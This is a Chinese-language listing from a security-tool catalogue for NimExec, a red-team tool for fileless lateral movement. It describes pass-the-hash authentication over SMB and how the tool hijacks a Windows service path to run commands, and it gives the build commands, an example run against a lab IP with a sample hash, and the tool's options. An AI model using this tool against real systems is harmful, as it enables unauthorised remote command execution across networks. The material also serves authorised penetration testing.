Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
NimExec — Nim中的无文件命令执行用于横向移动 | Kitploit
工具/GitHubGitHub/frkngksl/nimexec
漏洞利用横向移动渗透测试命令与控制红队
GitHubfrkngksl/nimexec

NimExec

Nim中的无文件命令执行用于横向移动

查看仓库
394404个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

NimExec

基本上,NimExec 是一种无文件远程命令执行工具,它使用服务控制管理器远程协议(MS-SCMR)。它更改由 LocalSystem 运行的随机或指定服务的二进制路径,以在目标上执行给定命令,之后通过手工构造的 RPC 数据包(而非 WinAPI 调用)恢复原路径。它通过 SMB2 和 svcctl 命名管道发送这些数据包。

NimExec 需要一个 NTLM 哈希来向目标机器进行身份验证,然后通过手工构造的数据包,使用 NTLM 身份验证方法完成此认证过程。

由于所有必要的网络数据包都是手动构造的,并且没有使用特定于操作系统的函数,因此利用 Nim 的跨平台编译支持,NimExec 可以在不同的操作系统上使用。

本项目受 Julio 的 SharpNoPSExec 工具启发。你可以认为 NimExec 是 SharpNoPSExec 的跨平台编译版本,并内置了 Pass the Hash 支持。另外,我学习了所需的网络数据包结构,参考自 Kevin Robertson 的 Invoke-SMBExec 脚本。

编译

root@kitploit:~
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

上述命令使用了不同的垃圾回收器,因为 Nim 的默认垃圾回收器在服务搜索过程中会抛出一些 SIGSEGV 错误。

此外,你可以通过 Nimble 使用以下命令安装所需的 Nim 模块:

root@kitploit:~
nimble install ptr_math nimcrypto hostname

用法

root@kitploit:~
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
 
                                                                                             _..._     
                                                                                          .-'_..._''.  
   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\ 
 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            
.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              
|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              
|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              
|  |   |  ||  ||  |  |  |  |  |\    .-------------'  `.  `'    .' \    .-------------'. '              
|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          . 
|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/ 
|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  
|  |   |  |                                        .'   /    `.   `.                               `   
'--'   '--'                                       '----'       '----'                                  

                                            @R0h1rr1m          


[+] 已连接到 10.200.2.2:445
[+] 使用哈希的 NTLM 身份验证成功!
[+] 已连接到目标的 IPC 共享!
[+] 已打开 svcctl 管道的句柄!
[+] 已绑定到 RPC 接口!
[+] RPC 绑定已确认!
[+] 已获取 SCManager 句柄!
[+] 获取到的服务数量:265
[+] 选定的服务是 LxpSvc
[+] 服务:LxpSvc 已打开!
[+] 先前的服务路径是:C:\Windows\system32\svchost.exe -k netsvcs
[+] 服务配置已更改!
[!] StartServiceW 返回值:1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] 服务启动请求已发送!
[+] 服务配置已恢复!
[+] 服务句柄已关闭!
[+] 服务管理器句柄已关闭!
[+] SMB 已关闭!
[+] 树已断开!
[+] 会话已注销!

已在 Windows 10 和 11、Windows Server 2016、2019 和 2022(从 Ubuntu 20.04 和 Windows 10 机器发起)上测试通过。

命令行参数

root@kitploit:~
    -v | --verbose                          启用更详细的输出。
    -u | --username <用户名>                用于 NTLM 身份验证的用户名。*
    -h | --hash <NTLM 哈希>                用于 NTLM 身份验证的 NTLM 密码哈希。**
    -p | --password <密码>                  明文密码。**
    -t | --target <目标>                    横向移动目标。*
    -c | --command <命令>                   要执行的命令。*
    -d | --domain <域名>                    用于 NTLM 身份验证的域名。
    -s | --service <服务名称>               指定服务名称,而不是随机选择。
    --help                                  显示帮助信息。

参考文献

  • https://github.com/juliourena/SharpNoPSExec
  • https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
  • https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf
  • https://github.com/jborean93/pypsexec/tree/master
  • https://www.x86matthew.com/view_post?id=create_svc_rpc

免责声明

仅用于授权的安全测试。未经明确许可使用此工具针对系统是违法的。

下载工具